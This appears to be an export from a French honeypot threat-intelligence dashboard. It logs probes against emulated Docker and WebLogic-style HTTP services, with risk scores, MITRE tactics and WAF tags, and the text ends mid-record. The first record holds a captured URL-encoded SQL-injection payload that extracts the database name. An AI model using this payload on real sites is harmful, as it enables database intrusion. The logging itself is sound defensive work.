"bytes_in": 464, "payload_entropy": 5.566103069852628, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 30, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 4.8, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25 }, "risk_score": 32, "tag_count": 5, "anomaly_count": 0, "campaign_key": "e3d7f544a866a533f9cf364e707ea0fc45fd045d", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "d5aa2fb9a103867ad9a6fa80b032c3a1", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 32 }, "payload_preview": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "request_sample": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTT", "payload_snippet": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "evidence": { "request_sample": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTT", "payload_snippet": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "233258e0aa91c19d31b232089bd25c99261faa6b", "protocol_details": { "payload_preview": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 32\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 32, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:48:55 UTC	TCP	7001 · HTTP	http	probe api probe api · via HTTP:7001 · (sonde / probe) · → /api/config	Élevée	Moyen · 56
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole GET /api/config UA Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/9.0 Émulateur HTTP WAF 23 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 950600:k8s-api Cible HTTP GET /api/config TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /api/config Service HTTP Pourquoi cette classification : Type « probe_api » (signaux protocolaires) · confiance 50% Confiance classification 58% Corrélation +8 Risque capteur Moyen · 56 Confiance : Confiance 50 % — 4 tag(s) WAF Protocole émulé 1 Signaux Upstream Waf Score Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 Ligne de requête `GET /api/config HTTP/1.1` User-Agent Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/9.0 Règles WAF rce-0 nosqli-3 k8s-api Payload (extrait) GET /api/config HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/9.0 Acce Requête brute (extrait) GET /api/config HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/9.0 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 2, "http_path_ext": null, "http_ua_hash": "6f0cd7271653357bf101d7c04f8d178a318a06e1", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "3c5fcdb0fafcc174d1f9556c1cd63005351cd3bc", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 183, "payload_entropy": 5.25895703979338, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 6.3, "risk_breakdown": { "waf": 100, "classification": 60, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25 }, "risk_score": 56, "tag_count": 6, "anomaly_count": 0, "campaign_key": "c08505d6eb1f3e30b493bc65aabab5b7ba2d6901", "event_fingerprint": "e8c5d244515cce0816a7e066d2b9464e9642db2c", "classification_reason": "Type \u00ab probe_api \u00bb (signaux protocolaires) \u00b7 confiance 50%", "confidence": 0.58, "classification_confidence": 0.58, "precision_score": 55, "precision_signals": [ "INT-upstream", "INT-waf-score" ], "kb_rule_ids": [ "INT-upstream", "INT-waf-score" ], "confidence_breakdown": { "waf": 100, "classification": 60, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 56, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 50, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "041bbea401987d0f03f6a2f17a05b582", "payload_hash": "000248fd7a9a975d7f584e6439d26eae", "path_pattern_hash": "3ff24867cd794d601de4aacbf3343c91" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 56 }, "payload_preview": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0\r\nAcce", "method": "GET", "path": "\/api\/config", "user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api" ], "waf_rule_names": [ "rce-0", "nosqli-3", "k8s-api" ], "request_line": "GET \/api\/config HTTP\/1.1", "request_sample": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0\r\nAcce", "evidence": { "method": "GET", "path": "\/api\/config", "user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api" ], "waf_rule_names": [ "rce-0", "nosqli-3", "k8s-api" ], "request_line": "GET \/api\/config HTTP\/1.1", "request_sample": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0\r\nAcce", "classification_reason": "Type \u00ab probe_api \u00bb (signaux protocolaires) \u00b7 confiance 50%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "unknown" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "1dc3660d40b47604839763eba0b5d5a2a56f48f9", "protocol_details": { "http_method": "GET", "http_path": "\/api\/config", "request_line": "GET \/api\/config HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0\r\nAcce", "attack_vector": "probe api \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/api\/config", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 50 % \u2014 4 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Type \u00ab probe_api \u00bb (signaux protocolaires) \u00b7 confiance 50%", "classification_reason_label_fr": "Type \u00ab probe_api \u00bb (signaux protocolaires) \u00b7 confiance 50%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 56\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 58 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 58, "confidence_breakdown": { "waf": 100, "classification": 60, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 56, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 56, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "INT-upstream", "INT-waf-score" ], "tags_summary_labels_fr": [ "Upstream", "Waf Score" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/api\/config", "request_line": "GET \/api\/config HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "probe api \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/api\/config", "evidence_snippet": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko\/ Firefox\/9.0\r\nAcce", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 50 % \u2014 4 tag(s) WAF", "confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 4 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api", "http_probe_api", "net_web_probe" ] }
30/07/2026 21:48:55 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 33
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /api/config HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 33 Confiance : Confiance 0 % — 7 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /api/config HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Requête brute (extrait) GET /api/config HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 239, "payload_entropy": 5.373633339038278, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.5, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 33, "tag_count": 7, "anomaly_count": 0, "campaign_key": "e0fdfbf47062ae238205c30d2d049b8e075a23f9", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "4ae1e782683d22afcd6a6588fed252e6", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 33 }, "payload_preview": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 ", "request_sample": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/109.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36", "evidence": { "request_sample": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/109.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "e4105e42ac76ae7d1a9078c9e6a094e9eec42668", "protocol_details": { "payload_preview": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 7 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 33, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/api\/config HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 7 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe", "redis_config_probe" ] }
30/07/2026 21:48:53 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /api/backup	Élevée	Moyen · 59
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /api/backup UA Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, lik… Émulateur HTTP WAF 23 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 950600:k8s-api Cible HTTP GET /api/backup TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /api/backup Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62% Confiance classification 70% Corrélation +8 Risque capteur Moyen · 59 Confiance : Confiance 62 % — 4 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /api/backup HTTP/1.1` User-Agent Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Règles WAF rce-0 nosqli-3 k8s-api Payload (extrait) GET /api/backup HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Ge Requête brute (extrait) GET /api/backup HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 2, "http_path_ext": null, "http_ua_hash": "8a42588efd1195f2d409c2e86aacf6fb96b356ba", "http_host_hash": 